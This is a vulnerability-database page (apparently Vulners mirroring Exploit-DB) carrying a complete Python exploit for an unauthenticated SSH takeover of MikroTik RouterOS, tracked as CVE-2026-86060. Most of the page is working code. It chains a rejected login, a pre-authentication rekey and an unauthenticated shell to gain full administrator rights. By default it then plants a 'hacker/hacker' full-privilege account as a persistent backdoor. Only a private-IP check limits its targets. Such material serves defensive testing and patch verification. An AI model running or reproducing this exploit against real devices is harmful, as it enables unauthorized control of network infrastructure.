Lucene search
+L

MikroTrick_ 7.24_ 7.24.2_ 7.0.0_ 7.23.4_ 6.0.0_ 6.49.21 - RCE

🗓️ 24 Sep 2026 00:00:00Reported by DigiProSecType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 7 Views

Related
Code
#!/usr/bin/env python3
#
# Exploit Title: MikroTik RouterOS <= 7.23.3 - Unauthenticated SSH Session Policy-Mask Swap (Full Admin)
# Date: 2026-09-17
# Exploit Author: DigiProSec
# Vendor Homepage: https://mikrotik.com
# Software Link: https://mikrotik.com/download
# Version: RouterOS < 6.49.21, 7.0 < 7.23.4, 7.24.0 < 7.24.2 (fixed in 6.49.21 / 7.23.4 / 7.24.2)
# Tested on: MikroTik CHR 7.23.3 (x86_64), Kali Linux 2025.x, python3-paramiko
# CVE: CVE-2026-86060
#
# CVE-2026-86060 — Unauthenticated full takeover of MikroTik RouterOS via
# SSH session policy-mask swap ("MikroTrick" campaign, in the wild from
# 2026-09-02; CERT.pl withheld exploit-enabling detail)
#
# Chain:
#   1. USERAUTH as "-2"      instantly rejected, but the username stays PENDING
#                            in the server's session state (unnamed state bug).
#                            Produces the IoC: "login failure for user -2".
#   2. CVE-2026-67279        a rekey requested before authentication makes the
#                            server lose the "must be authenticated" gate.
#   3. CHANNEL_OPEN + PTY    honored without authentication; the interactive
#                            shell spawns /nova/bin/login with the pending "-2".
#   4. CVE-2026-86060        the login helper's legacy transport treats a
#                            dash-led positional as a file descriptor: it reads
#                            up to 4096 bytes from fd 2 (the PTY) and splits on
#                            NUL into REPLACEMENT IDENTITY + REPLACEMENT POLICY
#                            MASK. Feed it: "0" NUL "4294967295" NUL VEOF VEOF.
#                            The all-ones mask is clamped to RouterOS's full
#                            policy set (0x9fe6e). The session comes up as full
#                            administrator. Actions are logged as ssh:-2@<ip> —
#                            the byte-for-byte campaign fingerprint.
#
# Tested: CHR 7.23.3 (vulnerable) vs CHR 7.23.4 (patched, exploit correctly
# fails). Deterministic: 3/3 runs in lab.
# Notes:  - Only the SSH service (port 22) is required; default config is
#           vulnerable. No credentials, no user interaction.
#         - This is a lab client: it refuses non-private IP targets.
#         - paramiko is used for transport plumbing only; the bugs are
#           triggered by patching paramiko's client-side auth gate, all
#           exploit semantics are implemented here.
#
# Usage:  python3 poc_mikrotrick.py <host>                  # interactive full-admin console
#         python3 poc_mikrotrick.py <host> "<ros command>"  # run one command, exit
#
import ipaddress
import sys
import time

import paramiko

IDENTITY = b"0"                  # replacement identity (becomes the prompt user)
MASK = b"4294967295"             # all-ones -> clamped to full policy set
VEOF = b"\x04"                   # PTY VEOF control byte


def check_target(host):
    try:
        ip = ipaddress.ip_address(host)
        if not ip.is_private:
            print(f"[-] {host} is not a private address; lab client refuses")
            return False
    except ValueError:
        pass  # hostname — assume lab
    return True


def drain_until(chan, want, timeout):
    end = time.time() + timeout
    buf = b""
    while time.time() < end:
        if chan.recv_ready():
            buf += chan.recv(65536)
            if want in buf:
                return buf, True
        time.sleep(0.05)
    return buf, False


def exploit(host):
    """Open a full-admin RouterOS console channel. Returns (transport, chan)."""
    t = paramiko.Transport((host, 22))
    t.start_client(timeout=10)

    # step 1 — leave "-2" pending in server session state
    try:
        t.auth_password("-2", "x")
    except paramiko.AuthenticationException:
        pass
    print("[1] '-2' rejected (pending in session state)")

    # step 2 — CVE-2026-67279: pre-auth rekey drops the server-side auth gate
    t.renegotiate_keys()
    print("[2] rekey done (CVE-2026-67279)")

    # step 3 — open a session channel unauthenticated (client-side gate is
    # patched; the SERVER is the one that incorrectly honors the open)
    if not t.is_authenticated():
        t.is_authenticated = lambda: True
    chan = t.open_session(timeout=10)
    chan.get_pty(term="vt100", width=120, height=40)
    chan.invoke_shell()
    print("[3] session channel open without authentication")

    # step 4 — CVE-2026-86060: feed the login helper's fd-2 read.
    # Framing: identity NUL mask NUL, then two VEOF bytes (canonical-mode PTY:
    # first VEOF delivers the buffer without appending, second yields EOF).
    time.sleep(0.6)
    chan.send(IDENTITY + b"\x00" + MASK + b"\x00" + VEOF + VEOF)
    print("[4] fd-2 identity/policy frame sent (CVE-2026-86060)")

    # the RouterOS console interrogates the terminal; answer its DSR probe
    # whenever it appears, and keep draining until the prompt shows up
    end = time.time() + 12
    buf = b""
    while time.time() < end:
        if chan.recv_ready():
            buf += chan.recv(65536)
            if b"\x1b[6n" in buf:
                chan.send(b"\x1b[24;80R")
                buf = buf.replace(b"\x1b[6n", b"", 1)
            if b"] >" in buf:
                break
        time.sleep(0.05)
    else:
        raise RuntimeError("no RouterOS prompt after policy frame — exploit failed")
    print("[+] full-admin RouterOS console is up")
    return t, chan


def run(chan, command, settle=1.5):
    chan.send(command.encode() + b"\r")
    out, _ = drain_until(chan, b"] >", 8)
    # console text carries \r overwrites and ANSI colors — normalize for display
    import re as _re
    text = out.decode(errors="replace")
    text = _re.sub(r"\x1b\[[0-9;?]*[a-zA-Z]|\x1bZ", "", text)
    lines = [ln.strip() for ln in text.replace("\r", "\n").split("\n")]
    lines = [ln for ln in lines if ln and not ln.endswith("] > " + command)
             and ln != command
             and not _re.fullmatch(r"\[[^\]]*\] >\s*", ln)]  # bare prompts
    return "\n".join(lines)


def interactive(chan):
    """Relay the local terminal to the channel until the session ends.

    NOTE: the post-exploit console is unstable by design — a later rekey
    re-arms the server-side auth gate and the channel dies without warning.
    Kept for completeness; the default mode plants an account instead.
    """
    import os, select, termios, tty
    fd = sys.stdin.fileno()
    old = termios.tcgetattr(fd)
    try:
        tty.setraw(fd)
        chan.settimeout(0.0)
        while True:
            r, _, _ = select.select([chan, fd], [], [])
            if chan in r:
                data = chan.recv(65536)
                if not data:
                    break
                while b"\x1b[6n" in data:
                    chan.send(b"\x1b[24;80R")
                    data = data.replace(b"\x1b[6n", b"", 1)
                while b"\x1b[5n" in data:
                    chan.send(b"\x1b[0n")
                    data = data.replace(b"\x1b[5n", b"", 1)
                if data:
                    os.write(sys.stdout.fileno(), data)
            if fd in r:
                data = os.read(fd, 4096)
                if not data:
                    break
                chan.send(data)
    finally:
        termios.tcsetattr(fd, termios.TCSADRAIN, old)


def plant_account(chan):
    """Create the hacker/hacker full-privilege account for the tester."""
    run(chan, ":do {/user remove hacker} on-error={}")
    run(chan, '/user add name=hacker group=full password=hacker comment="test account - remove when done"')
    out = run(chan, "/user print where name=hacker")
    if "hacker" not in out:
        raise RuntimeError("account plant failed")


def main():
    if len(sys.argv) < 2:
        print("usage: python3 poc_mikrotrick.py <host> [\"<ros command>\"]")
        return 2
    host = sys.argv[1]
    if not check_target(host):
        return 1

    t, chan = exploit(host)
    try:
        if len(sys.argv) > 2:
            print(run(chan, " ".join(sys.argv[2:])))
        else:
            # default: plant a full-privilege test account and hand over the
            # login command. The exploited console itself is unstable (a
            # later rekey re-arms the auth gate and kills the channel), so
            # the durable path is a normal SSH login.
            plant_account(chan)
            print("[+] full-privilege account planted: hacker / hacker")
            print(f"[*] log in with:  ssh hacker@{host}")
            print(f"[*] when finished, remove it: /user remove hacker")
    finally:
        t.close()
    return 0


if __name__ == "__main__":
    sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Sep 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
CVSS 49.2
EPSS0.01849
SSVC
7